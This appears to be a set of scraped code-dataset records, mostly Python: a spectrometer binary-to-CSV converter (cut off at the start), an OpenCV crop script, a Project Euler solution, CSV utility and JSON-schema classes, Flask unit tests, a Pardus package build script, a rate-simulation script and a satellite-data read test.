is_blank_C40 = True\r\n            #print('C00 is blank')\r\n        else :\r\n            pass\r\n            #print('C00 is not blank')    \r\n\r\n        # check the C80 - C85\r\n        f.seek(0xC80)\r\n        x_C80 = f.read(1)\r\n        f.seek(0xC81)\r\n        x_C81 = f.read(1)\r\n        f.seek(0xC82)\r\n        x_C82 = f.read(1)\r\n        f.seek(0xC83)\r\n        x_C83 = f.read(1)\r\n        f.seek(0xC84)\r\n        x_C84 = f.read(1)\r\n        f.seek(0xC85)\r\n        x_C85 = f.read(1)\r\n        f.seek(0xC86)\r\n        x_C86 = f.read(1)\r\n\r\n\r\n        if  1*(x_C80 == b'\\x00') +\\\r\n            1*(x_C81 == b'\\x00') +\\\r\n            1*(x_C82 == b'\\x00') +\\\r\n            1*(x_C83 == b'\\x00') +\\\r\n            1*(x_C84 == b'\\x00') +\\\r\n            1*(x_C85 == b'\\x00') +\\\r\n            1*(x_C86 == b'\\x00') >= 3:\r\n\r\n            is_blank_C80 = True\r\n            #print('C00 is blank')\r\n        else :\r\n            pass\r\n            #print('C00 is not blank')  \r\n\r\n        #print(is_blank_C00)\r\n        #print(is_blank_C40)\r\n        #print(is_blank_C80)\r\n\r\n\r\n\r\n        if is_datainfo_A00 == True and is_blank_C00 == False:\r\n            is_data_C00 = True\r\n            #print('C00からデータあり')\r\n        \r\n        elif is_datainfo_A00 == True and  is_blank_C00 == True and is_blank_C40 == False :\r\n            is_data_C40 = True\r\n            #print('C40からデータあり')\r\n        \r\n        elif is_datainfo_A00 == True and is_blank_C00 == True and is_blank_C40 == True and is_blank_C80 == False:\r\n            is_data_C80 = True\r\n            #print('C80からデータあり')\r\n        \r\n        else:\r\n            pass\r\n            #print('想定の範囲外です')\r\n\r\n\r\n\r\n\r\n        f.seek(0xC00)\r\n        x_C00 = f.read(8)\r\n        #print(x_C00)\r\n        if x_C00 == b'D\\x00a\\x00t\\x00a\\x00':\r\n            is_datainfo_C00 = True\r\n            #print('datainfo start at C00')\r\n\r\n        if  is_data_C00 == True:\r\n            #print('from 0xC00, not seperate')\r\n            f.seek(0xC00)\r\n            x = f.read(int(x_point_number * 4))\r\n            data = x\r\n\r\n        elif is_data_C40 == True:\r\n            #print('from 0xC40, not seperate')\r\n            f.seek(0xC40)\r\n            x = f.read(int(x_point_number * 4))\r\n            data = x\r\n  \r\n        elif is_data_C80 == True:\r\n            #print('from 0xC80, not seperate')\r\n            f.seek(0xC80)\r\n            x = f.read(int(x_point_number * 4))\r\n            data = x\r\n        \r\n        elif is_datainfo_A00 == True :\r\n            pass\r\n            \r\n\r\n        if is_datainfo_C00 == True :\r\n            #DataInfoの前のバイト数が256の場合と320の場合がある。\r\n            #無理やり場合分け\r\n            \r\n            #320の場合は\r\n            is_AC0 = False\r\n            f.seek(0xAC0)\r\n            x_AC0 = f.read(4)\r\n            \r\n            #print('x_AC0')\r\n            #print(x_AC0)\r\n            \r\n            if x_AC0 != b'\\x00\\x00\\x00\\x00' :\r\n                #x_AC0が０ではない\r\n                #AC0からデータが始まっている場合\r\n                #print('x_AC0')\r\n                \r\n                #print(x_AC0)\r\n                is_AC0 = True\r\n            else:\r\n                is_AC0 = False\r\n                \r\n            #print('is_AC0')\r\n            \r\n            #print(is_AC0)\r\n\r\n            if is_AC0 == True:\r\n                #print('1st data series from 0xAC0 2nd data series from E00')\r\n\r\n                f.seek(0xAC0)\r\n                x = f.read(320)\r\n\r\n                f.seek(0xE00)\r\n                y = f.read(int(x_point_number * 4)- 320)\r\n\r\n            \r\n            elif is_AC0 == False:\r\n                #print('1st data series from 0xB00 2nd data series from E00')\r\n            \r\n                f.seek(0xB00)\r\n                x = f.read(256)\r\n\r\n                f.seek(0xE00)\r\n                y = f.read(int(x_point_number * 4)- 256)\r\n\r\n            data = x + y\r\n                \r\n        #print('is_datainfo_A00', is_datainfo_A00)\r\n        #print('is_blank_C00', is_blank_C00)\r\n        #print('is_blank_C40', is_blank_C40)\r\n        #print('is_blank_C80', is_blank_C80)\r\n        #print('is_datainfo_C00', is_datainfo_C00)\r\n        #print('is_AC0', is_AC0)\r\n        #print('data')\r\n        #print(data)\r\n\r\n        spectra_csv = numpy.array(struct.unpack(\"{0}f\".format(int(x_point_number)), data))\r\n        spectra_csv = numpy.array(spectra_csv,ndmin=2)\r\n        body_csv = numpy.hstack((wavelength_csv.T,spectra_csv.T))\r\n        \r\n        header_csv = ['wavelength',filename]\r\n    \r\n        #for all data csv\r\n        header_allcsv.append(filename)\r\n        body_allcsv = numpy.hstack([body_allcsv,spectra_csv.T])\r\n        \r\n    # データをcsvに書きだす。\r\n    with open(\"data/\" + filename + \".csv\", \"w\", newline='') as expoted_data_obj:\r\n        writer_csv = csv.writer(expoted_data_obj)\r\n        writer_csv.writerow(header_csv)\r\n        writer_csv.writerows(body_csv)\r\n        \r\nif is_synthesizing == True:\r\n    for filename in filelist_s_p:\r\n        spectra_s = []\r\n        spectra_p = []\r\n        \r\n\r\n        with open('data/' + filename + \"s-1.csv\", \"r\") as f_s:\r\n            reader_s = csv.reader(f_s)\r\n            header_s = next(reader_s)\r\n            \r\n            for row_s in reader_s:\r\n                row_s_fl = [float(n) for n in row_s]\r\n                spectra_s.append(row_s_fl)\r\n            \r\n            spectra_s = np.array(spectra_s)\r\n            spectra_s = spectra_s[:,1]\r\n            #print(spectra_s)\r\n\r\n        with open('data/' + filename + \"p-1.csv\", \"r\") as f_p:\r\n            reader_p = csv.reader(f_p)\r\n            header_p = next(reader_p)\r\n            \r\n            for row_p in reader_p:\r\n                row_p_fl = [float(n) for n in row_p]\r\n                spectra_p.append(row_p_fl)\r\n\r\n            spectra_p = np.array(spectra_p)\r\n            spectra_p = spectra_p[:,1]            \r\n            #print(spectra_p)\r\n\r\n\r\n        spectra_s = numpy.array(spectra_s)\r\n        spectra_p = numpy.array(spectra_p)\r\n\r\n        #print(spectra_s)\r\n        #print(spectra_p)\r\n\r\n        spectra_csv_s_p = (spectra_s + spectra_p ) * 0.5\r\n        \r\n        wavelength_csv = np.array(wavelength_csv)\r\n\r\n        spectra_csv_s_p = np.array(spectra_csv_s_p)\r\n        spectra_csv_s_p = spectra_csv_s_p.reshape(441,1)\r\n\r\n        body_csv_s_p = numpy.hstack((wavelength_csv.T, spectra_csv_s_p))\r\n        header_csv_s_p = ['wavelength', filename + 's_p']\r\n        print(\"filename: \" , filename + \"SP\")\r\n        \r\n        # データをcsvに書きだす。\r\n        with open(\"data-SP/\" + filename + \"SP.csv\", \"w\", newline='') as expoted_data_obj_s_p:\r\n            writer_csv = csv.writer(expoted_data_obj_s_p)\r\n            writer_csv.writerow(header_csv_s_p)\r\n            writer_csv.writerows(body_csv_s_p)\r\n    \r\n        #for all data csv\r\n        header_allcsv_s_p.append(filename + 's_p')\r\n        body_allcsv_s_p = numpy.hstack([body_allcsv_s_p,spectra_csv_s_p])\r\n\r\n\r\nwith open('all.csv', 'w', newline='') as exported_alldata_obj:\r\n    writer_allcsv = csv.writer(exported_alldata_obj)\r\n    writer_allcsv.writerow(header_allcsv)\r\n    writer_allcsv.writerows(body_allcsv)\r\n\r\nif is_synthesizing == True:\r\n    with open( 'all_s_p.csv', 'w', newline='') as exported_alldata_obj_s_p:\r\n        writer_allcsv_s_p = csv.writer(exported_alldata_obj_s_p)\r\n        writer_allcsv_s_p.writerow(header_allcsv_s_p)\r\n        writer_allcsv_s_p.writerows(body_allcsv_s_p)\r\n\r\nprint('csvファイルへの変換を完了しました。')\r\nsleep(1)","sub_path":"convertjws_20190305.py","file_name":"convertjws_20190305.py","file_ext":"py","file_size_in_byte":15924,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"74"}
+{"seq_id":"488071581","text":"# import the necessary packages\nfrom shapedetector import ShapeDetector\nimport argparse\nimport imutils\nimport numpy as np\nimport cv2\n\n# construct the argument parse and parse the arguments\nap = argparse.ArgumentParser()\nap.add_argument(\"-i\", \"--image\", required=True,\n\thelp=\"path to the input image\")\nargs = vars(ap.parse_args())\n\n# load the image and resize it to a smaller factor so that\n# the shapes can be approximated better\nimage = cv2.imread(args[\"image\"])\nresized = imutils.resize(image, width=1200)\nratio = image.shape[0] / float(resized.shape[0])\n\ncrop = resized[1240+426,896+275]\ncv2.imshow(\"crop\",crop)\ncv2.waitKey(11000)\ncv2.destroyAllWindows()\ncv2.waitKey(1)\n","sub_path":"crop1.py","file_name":"crop1.py","file_ext":"py","file_size_in_byte":673,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"74"}
+{"seq_id":"89014733","text":"'''\nProblem 62\n\nThe cube, 41063625 (3453), can be permuted to produce two other cubes: 56623104 (3843) and 66430125 (4053). In fact, 41063625 is the smallest cube which has exactly three permutations of its digits which are also cube.\n\nFind the smallest cube for which exactly five permutations of its digits are cube.\n'''\n\nimport time\n\ndef split_digits(n):\n\tdef split(n, arr):\n\t\tif n == 0:\n\t\t\treturn sorted(arr[::-1])\n\t\telse:\n\t\t\treturn split(n//10, arr + [n%10])\n\treturn tuple(split(n, []))\n\ndef cubic_permutations():\n\ti, cubic_map = 22, {}\n\twhile True:\n\t\tcubed_val = i**3\n\t\tsplit_num = split_digits(cubed_val)\n\t\tif split_num in cubic_map:\n\t\t\tcubic_map[split_num] += [cubed_val]\n\t\telse:\n\t\t\tcubic_map[split_num] = [cubed_val]\n\n\t\tif len(cubic_map[split_num]) == 5:\n\t\t\treturn cubic_map[split_num][0]\n\n\t\ti = i + 1\n\nif __name__ == '__main__':\n\n\tstart = time.time()\n\tprint(cubic_permutations())\n\tend = time.time()\n\n\tprint(\"Execution time: %fs\" %(end - start))\n","sub_path":"solutions/cubic_permutations.py","file_name":"cubic_permutations.py","file_ext":"py","file_size_in_byte":955,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"74"}
+{"seq_id":"313980600","text":"# -*- coding: utf-8 -*\n\nimport time\nimport datetime\nfrom datetime import datetime as dt, date, time as tm\n\nclass Tools:\n\tdef __init__(self, errors):\n\t\tself.errors = errors\n\t\n\tdef explode(self, line, sep=','):\n\t\tif self.errors.error_occured:\n\t\t\treturn None\n\t\t\n\t\tstr_array = line.split(sep)\n\n\t\treturn str_array\n\t\n\tdef implode(self, str_array, sep=','):\n\t\tif self.errors.error_occured:\n\t\t\treturn None\n\t\t\n\t\tline = sep.join(str_array)\n\t\t\n\t\treturn line\n\t\t\n\tdef line2rec(self, line, cols, sep=','):\n\t\tif self.errors.error_occured:\n\t\t\treturn None\n\t\t\n\t\trec = {}\n\t\tstr_array = self.explode(line, sep)\n\t\tlength = min(len(str_array), len(cols))\n\t\tfor cnt in range(length):\n\t\t\trec[cols[cnt]] = str_array[cnt]\n\n\t\treturn rec\n\t\t\n\tdef rec2line(self, rec, cols, sep=','):\n\t\tif self.errors.error_occured:\n\t\t\treturn None\n\t\t\n\t\tstr_array = []\n\t\tfor col in cols:\n\t\t\tif rec.get(col) != None:\n\t\t\t\tstr_array.append(rec[col])\n\t\t\n\t\tline = self.implode(str_array, sep)\n\t\t\n\t\treturn line\n\t\t\n\tdef str2type(self, value, value_type, sep=','):\n\t\tif self.errors.error_occured:\n\t\t\treturn None\n\t\t\n\t\tif value_type == 'str':\n\t\t\treturn value\n\t\t\n\t\telif value_type == 'int':\n\t\t\treturn int(value)\n\t\t\n\t\telif value_type == 'num' or value_type == 'float':\n\t\t\treturn float(value)\n\t\t\n\t\telif value_type == 'bool':\n\t\t\tif value == '1':\n\t\t\t\treturn True\n\t\t\telse:\n\t\t\t\treturn False\n\t\t\t\t\n\t\telif value_type == 'yyyymmdd':\n\t\t\treturn dt.strptime(value, '%Y%m%d') #.date()\n\t\t\t\n\t\telif value_type == 'hhmmss':\n\t\t\treturn dt.strptime(value, '%H%M%S') #.time()\n\t\t\t\n\t\telif value_type == 'str_array':\n\t\t\treturn self.explode(value, sep)\n\t\t\n\t\telif value_type == 'int_array':\n\t\t\tint_array = []\n\t\t\tstr_array = self.explode(value, sep)\n\t\t\tfor s in str_array:\n\t\t\t\tint_array.append(int(s))\n\t\t\treturn int_array\n\t\t\n\t\telif value_type == 'num_array' or value_type == 'float_array':\n\t\t\tfloat_array = []\n\t\t\tstr_array = self.explode(value, sep)\n\t\t\tfor s in str_array:\n\t\t\t\tfloat_array.append(float(s))\n\t\t\treturn float_array\n\t\t\n\t\telif value_type == 'bool_array':\n\t\t\tbool_array = []\n\t\t\tstr_array = self.explode(value, sep)\n\t\t\tfor s in str_array:\n\t\t\t\tif value == '1':\n\t\t\t\t\tbool_array.append(True)\n\t\t\t\telse:\n\t\t\t\t\tbool_array.append(False)\n\t\t\treturn bool_array\n\t\t\n\t\telif value_type == 'escape':\n\t\t\treturn  self.escape_sequence(value)\n\t\t\t\n\t\telse:\n\t\t\tself.errors.raise_error('Unknown type ' + value_type)\n\t\t\treturn value\n\t\n\tdef type2str(self, value, value_format):\n\t\tif self.errors.error_occured:\n\t\t\treturn None\n\t\t\n\t\tif value == None:\n\t\t\treturn ''\n\t\t\n\t\tif value_format == '%Y%m%d':\n\t\t\treturn dt.strftime(value, '%Y%m%d')\n\t\t\t\n\t\telif value_format == '%H%M%S':\n\t\t\treturn dt.strftime(value, '%H%M%S')\n\t\t\t\n\t\telse:\n\t\t\treturn value_format.format(value)\n\t\n\tdef shape_column_types(self, columns, file_column_types):\n\t\tif self.errors.error_occured:\n\t\t\treturn None\n\t\t\t\n\t\tcolumn_types = {}\n\t\tfor col in columns:\n\t\t\tif file_column_types.get(col) != None:\n\t\t\t\tcolumn_types[col] = file_column_types[col]\n\t\t\telse:\n\t\t\t\t# self.errors.raise_error('Unknown column ' + col + ' for type detecting')\n\t\t\t\t# break\n\t\t\t\tcolumn_types[col] = 'num'\n\t\t\t\t\n\t\treturn column_types\n\t\t\n\tdef shape_column_formats(self, columns, all_column_formats):\n\t\tif self.errors.error_occured:\n\t\t\treturn None\n\t\t\t\n\t\tcolumn_formats = {}\n\t\tfor col in columns:\n\t\t\tif all_column_formats.get(col) != None:\n\t\t\t\tcolumn_formats[col] = all_column_formats[col]\n\t\t\telse:\n\t\t\t\t# self.errors.raise_error('Unknown column ' + col + ' for format detecting')\n\t\t\t\t# break\n\t\t\t\tcolumn_formats[col] = '{:.2f}'\n\t\t\n\t\treturn column_formats\n\t\n\tdef type_rec(self, rec, column_types):\n\t\tif self.errors.error_occured:\n\t\t\treturn None\n\t\t\n\t\tfor col in rec:\n\t\t\trec[col] = self.str2type(rec[col], column_types[col])\n\t\t\t\n\tdef str_rec(self, rec, column_formats):\n\t\tif self.errors.error_occured:\n\t\t\treturn None\n\t\t\n\t\tfor col in rec:\n\t\t\trec[col] = self.type2str(rec[col], column_formats[col])\n\t\n\tdef add_rec_to_table(self, rec, table):\n\t\tif self.errors.error_occured:\n\t\t\treturn None\n\t\t\n\t\tfor col in table:\n\t\t\tif rec.get(col) != None:\n\t\t\t\ttable[col].append(rec[col])\n\t\t\telse:\n\t\t\t\ttable[col].append(None)\n\t\n\tdef get_rec_from_table(self, rec_cnt, table):\n\t\tif self.errors.error_occured:\n\t\t\treturn None\n\t\t\n\t\trec = {}\n\t\tfor col in table:\n\t\t\trec[col] = table[col][rec_cnt]\n\t\t\n\t\treturn rec\n\t\t\n\tdef add_columns(self, adv_columns, table, columns):\n\t\tif self.errors.error_occured:\n\t\t\treturn None\n\t\t\n\t\tfor adv_col in adv_columns:\n\t\t\tcolumns.append(adv_col)\n\t\t\ttable[adv_col] = []\n\t\t\tlength = len(table[columns[0]])\n\t\t\tfor i in range(length):\n\t\t\t\ttable[adv_col].append(None)\n\t\t\n\tdef update_cells(self, cell_columns, cell_values, rec_cnt, table):\n\t\tif self.errors.error_occured:\n\t\t\treturn None\n\t\t\n\t\tlength = min(len(cell_columns), len(cell_values))\n\t\tfor cnt in range(length):\n\t\t\tif table.get(cell_columns[cnt]) != None:\n\t\t\t\ttable[cell_columns[cnt]][rec_cnt] = cell_values[cnt]\n\t\t\t\t\n\tdef escape_sequence(self, seq):\n\t\tif seq == \"'\\\\t'\":\n\t\t\tseq = seq.replace(\"'\\\\t'\", '\\t')\n\t\telif seq == \"','\":\n\t\t\tseq = seq.replace(\"','\", ',')\n\t\telif seq == \"'.'\":\n\t\t\tseq = seq.replace(\"','\", ',')\n\t\telif seq == \"';'\": \n\t\t\tseq = seq.replace(\"';'\", ';')\n\t\telif seq == \"''\":\n\t\t\tseq = seq.replace(\"''\", '')\n\t\telse:\n\t\t\tself.errors.raise_error('Unknown escape sequence ' + seq)\n\t\treturn seq\n\t\t\n\t\t\n","sub_path":"scripts/modules/common/Tools.py","file_name":"Tools.py","file_ext":"py","file_size_in_byte":5180,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"74"}
+{"seq_id":"476240557","text":"import DB_connection_app\nimport unittest\nimport json\nfrom werkzeug.http import parse_cookie\n\nclass DB_connection_appTestCase(unittest.TestCase):\n    def setUp(self):\n        DB_connection_app.app.config['TESTING'] = True\n        self.app = DB_connection_app.app.test_client()\n\n\n    def test_index(self):\n        \"\"\" Ensures that flask was set up correctly \"\"\"\n        tester = DB_connection_app.app.test_client(self)\n        response = tester.get('/', content_type='html/text')\n        self.assertEqual(response.status_code, 200)\n\n    # assert functions\n    def test_content(self):\n        \"\"\"Ensure HTML file being rendered has the right contents \"\"\"\n        rv = self.app.get('/')\n        assert b'Find My location' in rv.data\n        assert b'Find Closest Stations' in rv.data\n        assert b'Availability' in rv.data\n\n    def test_dummy(self):\n        \"\"\" Ensures that JSON file from database is being read properly \"\"\"\n        response = self.app.get(\"/station/static\")\n        data = json.loads(response.get_data(as_text=True))\n\n        self.assertEqual(data[0]['address'], \"Chatham Street\")\n\n\nif __name__ == '__main__':\n    unittest.main()","sub_path":"DB_connection_app_tests.py","file_name":"DB_connection_app_tests.py","file_ext":"py","file_size_in_byte":1147,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"74"}
+{"seq_id":"58430628","text":"import typing as t\nimport warnings\n\nNoneType = None.__class__\n\nT = t.TypeVar('T')\n\n\nclass AutoJsonMeta(type):\n    def __new__(mcs, name, bases, ns: dict):\n        if ns.get('_root', False):\n            return super().__new__(mcs, name, bases, ns)\n        bases = tuple(filter(lambda it: AutoJson is not it, bases))\n\n        ret = type(name, (*bases, Json), ns)\n        SchemaMonitor.register(ret)\n\n        annotations = ns.get('__annotations__', [])\n\n        def __init__(self, **kwargs):\n            if not kwargs:\n                return\n            for each in annotations:\n\n                setattr(self, each, kwargs[each])\n\n        template_format = f'{ret.__name__}({{}})'.format\n\n        def __repr__(self):\n            return template_format(', '.join(\n                f'{each}={getattr(self, each)!r}' for each in annotations))\n\n        ret.__init__ = __init__\n        ret.__repr__ = __repr__\n        return ret\n\n\nclass Json:\n    pass\n\n\nclass AutoJson(metaclass=AutoJsonMeta):\n    _root = True\n\n    def __init__(self, *args, **kwargs):\n        raise TypeError\n\n    def to_dict(self) -> dict:\n        raise TypeError\n\n    def to_bson(self) -> bytes:\n        raise TypeError\n\n    def to_json(self) -> bytes:\n        raise TypeError\n\n    @classmethod\n    def from_dict(cls: t.Type[T], data: dict) -> T:\n        raise TypeError\n\n\nclass Spec:\n    pass\n\n\nclass Named(Spec, t.NamedTuple):\n    typ: type\n\n\nclass ForwardRef(Spec, t.NamedTuple):\n    \"\"\"\n    to resolve cross references\n    class S:\n        a: A\n        s: S\n    \n    class A:\n        i: int\n    \"\"\"\n    name: str\n\n\nclass Concrete(Spec, t.NamedTuple):\n    \"\"\"\n    str, int, float, null\n    \"\"\"\n    typ: type\n\n\nNoneConcrete = Concrete(NoneType)\n\n\nclass Optional(Spec, t.NamedTuple):\n    typ: Spec\n\n\nclass Union(Spec, t.NamedTuple):\n    args: t.List[Spec]\n\n\nclass List(Spec, t.NamedTuple):\n    elem: Spec\n\n\nclass Dict(Spec, t.NamedTuple):\n    key: Spec\n    value: Spec\n\n\nclass SchemaMonitor:\n    # schemas: qualname -> (type, [(field_name, field_type_spec)])\n    schemas: t.Dict[str, t.Tuple[type, t.List[t.Tuple[str, Spec]]]] = {}\n    # methods: qualname -> (from_dict, to_dict, query)\n    methods: t.Dict[str, t.List[t.Callable]]\n\n    def __init__(self):\n        raise TypeError(\"Monitor is a singleton.\")\n\n    @classmethod\n    def remove(cls, typ: t.Union[str, type]):\n\n        subscript = typ\n        if isinstance(subscript, type):\n            subscript = subscript.__qualname__\n\n        del cls.schemas[subscript]\n\n    @classmethod\n    def register(cls, typ: type):\n        \"\"\"\n        :param typ: must be checked to contains __annotations__\n        :return:\n        \"\"\"\n        qualname = typ.__qualname__\n        if qualname in cls.schemas:\n            warnings.warn(f\"Overwriting json type schema {qualname!r}.\")\n\n        cls.schemas[typ.__qualname__] = typ, [\n            (k, describe(t)) for k, t in typ.__annotations__.items()\n        ]\n\n    @classmethod\n    def resolve(cls, strict=False):\n        for _, (ty, fields) in cls.schemas.items():\n            for i in range(len(fields)):\n                attr, field = fields[i]\n                fields[i] = attr, backref(field, strict=strict)\n\n\ndef backref(spec: Spec, strict) -> Spec:\n    def _backref(_):\n        return backref(_, strict)\n\n    if isinstance(spec, (Optional, Concrete, Named)):\n        return spec\n\n    if isinstance(spec, ForwardRef):\n        type_and_fields = SchemaMonitor.schemas.get(spec.name)\n        if type_and_fields:\n            return Named(type_and_fields[0])\n        if not strict:\n            return spec\n        raise TypeError(f'forward ref: {spec}.')\n\n    if isinstance(spec, List):\n        return List(_backref(spec.elem))\n\n    if isinstance(spec, Dict):\n        key = _backref(spec.key)\n        value = _backref(spec.value)\n        return Dict(key, value)\n\n    if isinstance(spec, Union):\n\n        return Union(list(map(_backref, spec.args)))\n\n    raise TypeError(spec)\n\n\ndef describe(ty: t.Union[str, t.Type]) -> Spec:\n    if isinstance(ty, str):\n        return ForwardRef(ty)\n\n    if ty in (int, float, str, NoneType):\n        return Concrete(ty)\n\n    if hasattr(ty, '__origin__'):\n        args: list = []\n\n        def is_origin(typ):\n            return ty.__origin__ is typ and (args.extend(\n                getattr(ty, '__args__')) or True)\n\n        if is_origin(t.List):\n            e_ty, = args\n            return List(describe(e_ty))\n        elif is_origin(t.Union):\n            args = list(map(describe, args))\n\n            if len(args) is 2 and NoneConcrete in args:\n                e_ty = args[args[0] == NoneConcrete]\n                return Optional(e_ty)\n            return Union(args)\n        elif is_origin(t.Dict):\n            key, value = map(describe, args)\n            return Dict(key, value)\n    if hasattr(ty, '__forward_arg__'):\n        return describe(getattr(ty, '__forward_arg__'))\n\n    assert issubclass(\n        ty, Json), TypeError(f\"expected Json type, got {ty.__qualname__!r}.\")\n\n    return Named(ty)\n","sub_path":"auto_json/schema_analyse.py","file_name":"schema_analyse.py","file_ext":"py","file_size_in_byte":4986,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"74"}
+{"seq_id":"3851434","text":"#!/usr/bin/python\n# -*- coding: utf-8 -*-\n#\n# Copyright 2007 TUBITAK/UEKAE\n# Licensed under the GNU General Public License, version 2.\n# See the file http://www.gnu.org/copyleft/gpl.txt.\n\nfrom pisi.actionsapi import pisitools\nfrom pisi.actionsapi import shelltools\nfrom pisi.actionsapi import get\n\n\ndefinitions = \"CFLAGS= \\\n               STD_INCLUDE=%s/usr/share/yodl \\\n               MAN_DIR=%s/usr/share/man \\\n               DOC_DIR=%s/usr/share/doc/yodl-%s-%s \\\n               YODL_BIN=%s/usr/bin \\\n               STD_CONVERSIONS=man\" % (get.installDIR(),get.installDIR(),get.installDIR(),get.srcVERSION(),get.srcRELEASE(),get.installDIR())\n\ndef setup():\n    pisitools.chmod(\"contrib/build.pl\")\n\ndef build():\n    shelltools.system(\"%s contrib/build.pl make\" % definitions)\n\ndef install():\n    shelltools.system(\"%s contrib/build.pl install\" % definitions)\n\n","sub_path":"pardus/tags/2007-EOL/applications/doc/yodl/actions.py","file_name":"actions.py","file_ext":"py","file_size_in_byte":861,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"74"}
+{"seq_id":"108620323","text":"# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Sun Dec  6 13:55:33 2020\n\n@author: Freedom\n\"\"\"\nimport numpy as np \nimport matplotlib.pyplot as plt\n\nvreme_simulacije = 302400 # duzina test seta ( 6 meseci )\nvremena_otkaza = np.load('vremena_otkaza.npy')\nvremena_popravke = np.load('vremena_popravke.npy')\npodatci1 = vremena_otkaza.reshape(-1)\npodatci2 = vremena_popravke.reshape(-1)\n\ndef gen_lambda_and_mi(podatci1,podatci2, seq_len, t):\n    matrix = np.zeros(vreme_simulacije)\n    for i in podatci1:\n        matrix[int(i)] = 1        \n    matrix1 = np.zeros(vreme_simulacije)\n    for i in podatci2:\n        matrix1[int(i)] = 1  \n    lambd = []\n    mi = []    \n    start = 0\n    end = seq_len\n    for i in range(int((len(matrix)-seq_len)/t)):\n        ls = matrix[start:end]\n        lambd.append(sum(ls))\n        ls1 = matrix1[start:end]\n        mi.append(sum(ls1))\n        start += t\n        end += t\n    lambd.append(sum(matrix[-seq_len:]))\n    mi.append(sum(matrix1[-seq_len:]))\n    return lambd, mi\n        \nseq_leng = [15*24*60, 7*24*60, 30*24*60]\ndt = [10, 30, 60]\n\nfor seq_len in seq_leng:\n    for t in dt:\n        lamb, mi =  gen_lambda_and_mi(podatci1,podatci2, int(seq_len), t)\n        mi_gen_simulacija = np.array(mi).reshape(-1, 1)\n        lamb_gen_simulacija = np.array(lamb).reshape(-1, 1)\n        sim_name_lam = 'Failure_rates_' + str(t) + 'dt_' + str(seq_len) + 'min_simulacija' + '.npy'\n        sim_name_mi = 'Repair_rates' + str(t) + 'dt' + str(seq_len) + 'min_simulacija' + '.npy'\n        np.save(sim_name_lam, lamb_gen_simulacija)\n        np.save(sim_name_mi +str(t), mi_gen_simulacija)\n        plt.plot(mi)","sub_path":"Machine_learning_simulations/1. Deterministic based prediction/Simulation_implementation/NN_classified/tf_normal_prediction_2y/tf_noram_prediction.py","file_name":"tf_noram_prediction.py","file_ext":"py","file_size_in_byte":1616,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"74"}
+{"seq_id":"363521357","text":"\"\"\"\nThis file is part of pyS5p\n\nhttps://github.com/rmvanhees/pys5p.git\n\nPurpose\n-------\nPerform unittest on ICMio\n\nNote\n----\nPlease use the code as tutorial\n\nCopyright (c) 2017 SRON - Netherlands Institute for Space Research\n   All Rights Reserved\n\nLicense:  BSD-3-Clause\n\"\"\"\nimport sys\nimport re\n\nfrom pathlib import Path\n\ndef test_rd_icm(msm_dset=None):\n    \"\"\"\n    Perform a full read-test a ICM product using the ICMio class\n\n    \"\"\"\n    from ..get_data_dir import get_data_dir\n    from ..icm_io import ICMio\n\n    # obtain path to directory pys5p-data\n    try:\n        data_dir = get_data_dir()\n    except FileNotFoundError:\n        return\n    filelist = list(Path(data_dir, 'ICM').glob('S5P_TEST_ICM_CA_*.h5'))\n    if not filelist:\n        return\n\n    for name in sorted(filelist):\n        print(name, file=sys.stderr)\n        icm = ICMio(name)\n        print(icm)\n        print('version: ', icm.get_processor_version())\n        print('creation_time', icm.get_creation_time())\n        print('coverage_time', icm.get_coverage_time())\n        for key1 in icm.fid:\n            if not key1.startswith('BAND'):\n                continue\n            print(key1)\n            for key2 in icm.fid[key1]:\n                print('-->', key2)\n                icm.select(key2)\n                _ = icm.get_ref_time()\n                res2 = icm.get_delta_time()\n                print('\\t delta time: ', res2.shape)\n                res3 = icm.get_instrument_settings()\n                print('\\t instrument settings [{}]: '.format(res3.size),\n                      res3.shape)\n                res4 = icm.get_housekeeping_data()\n                print('\\t housekeeping data [{}]: '.format(res4.size),\n                      res4.shape)\n\n                if msm_dset is None:\n                    if key1.endswith('_RADIANCE'):\n                        geo = icm.get_geo_data(band=icm.bands[0],\n                                               geo_dset='latitude,longitude')\n                        print('\\t geodata: ', geo.shape)\n                        dset_name = 'radiance_avg'\n                    elif key1.endswith('_IRRADIANCE'):\n                        geo = icm.get_geo_data(band=icm.bands[0])\n                        print('\\t geodata: ', geo.shape)\n                        dset_name = 'irradiance_avg'\n                    elif key1.endswith('_ANALYSIS'):\n                        if key2 == 'ANALOG_OFFSET_SWIR':\n                            dset_name = 'analog_offset_swir_value'\n                        elif key2 == 'DPQF_MAP':\n                            dset_name = 'dpqf_map'\n                        elif key2 == 'LONG_TERM_SWIR':\n                            dset_name = 'long_term_swir_value'\n                        elif key2 == 'NOISE':\n                            dset_name = 'noise'\n                        else:\n                            dset_name = 'signal_avg'\n                    else:\n                        geo = icm.get_geo_data(band=icm.bands[0])\n                        print('\\t geodata: ', geo.shape)\n                        dset_name = 'signal_avg_row'\n                else:\n                    dset_name = msm_dset\n\n                # read both bands seperated\n                for ib in icm.bands:\n                    data = icm.get_msm_data(dset_name, band=ib)\n                    print('\\t {}[{}]: {}'.format(dset_name, ib,\n                                                 data.shape))\n\n                # read whole channels\n                for ib in re.findall('..', icm.bands):\n                    data = icm.get_msm_data(dset_name, band=ib)\n                    print('\\t {}[{}]: {}'.format(dset_name, ib,\n                                                 data.shape))\n\n        icm.close()\n\nif __name__ == '__main__':\n    test_rd_icm()\n","sub_path":"pys5p/full_tests/test_full_icm.py","file_name":"test_full_icm.py","file_ext":"py","file_size_in_byte":3750,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"74"}
